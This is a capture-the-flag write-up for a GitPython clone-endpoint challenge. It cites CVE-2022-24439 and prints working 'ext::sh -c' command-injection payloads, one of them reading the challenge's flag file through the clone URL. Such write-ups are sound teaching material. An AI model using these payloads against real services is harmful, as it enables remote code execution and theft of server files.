This is a writeup for the Fetch The Flag 2023 GetHub challenge.
The challenge comes with a source code bundle. The following code in src/app.py looks exploitable:
# src/app.py
from git import Repo
# […]
@app.route('/clone', methods = ['POST', 'GET'])
def clone():
if request.method == 'POST':
new_repo = request.form['repo']
new_name = f'repositories/{new_repo.split("/")[-1].split(".")[0]}'
print("new_name", new_name)
try:
Repo.clone_from(
new_repo,
new_name,
multi_options=["-c protocol.ext.allow=always"],
)
except Exception as e:
print(e)
return render_template('clone.html')
return render_template('clone.html')
else:
return render_template('clone.html')
Certain versions of the Python package GitPython are vulnerable to a remote code execution vulnerability:
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. 1
There’s proof of concept payload2 for CVE-2022-244391:
from git import Repo
r = Repo.init('', bare=True)
r.clone_from(
'ext::sh -c touch% /tmp/pwned',
'tmp',
multi_options=["-c protocol.ext.allow=always"],
)
The challenge server stores the flag at /home/challenge/gethub/flag.txt.
Here’s the winning payload that you can pass to the /clone endpoint:
ext::sh -c mkdir% /home/challenge/gethub/repositories/$(cat% /home/challenge/gethub/flag.txt)
-
https://www.cve.org/CVERecord?id=CVE-2022-24439 “All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command.” ↩︎ ↩︎
-
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858 “Remote Code Execution (RCE) Affecting gitpython package, versions [0,3.1.30)” ↩︎